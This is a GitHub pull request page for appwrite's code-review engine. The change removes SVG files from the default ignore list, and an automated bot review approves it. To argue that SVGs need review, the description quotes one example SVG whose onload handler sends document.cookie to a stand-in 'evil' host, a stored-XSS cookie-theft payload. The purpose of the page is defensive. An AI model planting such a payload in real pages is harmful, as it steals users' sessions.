Skip to content

fix(engine): review SVG files instead of ignoring them - #55

Merged
TorstenDittmann merged 1 commit into
appwrite:mainfrom
ChiragAgg5k:fix/review-svg-files
Nov 18, 2026
Merged

TorstenDittmann merged 1 commit into
appwrite:mainfrom
ChiragAgg5k:fix/review-svg-files

Conversation

@ChiragAgg5k

Copy link
Copy Markdown
Member

What

**/*.svg was in defaultIgnoreGlobs next to PNG/JPG, so a pull request that only adds an SVG gets skipped with No reviewable changes and can never be approved (appwrite/appwrite#15774 adds bimi.svg served from appwrite.io).

SVG is text markup, not media:

<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('//evil/'+document.cookie)">

Served from a first-party origin that's stored XSS, which is exactly what a review should catch. Raster images, fonts and PDFs stay ignored.

Test

filterFiles in core.test.ts gains a case: an added SVG is included, an added PNG is still excluded.

SVG sat in the default ignore list with raster images, but it is markup: it can carry scripts, event handlers and external references, and a site may serve it from its own origin. A pull request that only added an SVG was skipped with 'No reviewable changes', so it could never be approved.
@appwrite

appwrite Bot commented Nov 18, 2026 •

Copy link
Copy Markdown

Code review

Commit Status Tier Verdict Details
e9b1f44 Reviewed Reviewed 🟢 S · Ready to merge ✅ Approved View review

The change aligns the default filtering behavior with the intended review coverage, and the regression test covers both SVG and raster filtering.

Removes SVG files from the engine’s default ignore list so their markup can be included in reviews. Adds a filter test confirming SVG inclusion while raster images remain excluded.

Walkthrough (2)
File Change
packages/engine/src/filters.ts Removes SVG from default ignore globs and documents why it is reviewed.
packages/engine/src/core.test.ts Adds coverage for reviewing SVG markup while excluding raster images.

Reviewed e9b1f44

Tip

Comment @appwrite review to re-run, or mention @appwrite with a question.

@appwrite appwrite Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟢 Tier S · Looks good to merge. Summary

@TorstenDittmann
TorstenDittmann merged commit e241db7 into appwrite:main Nov 18, 2026
4 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants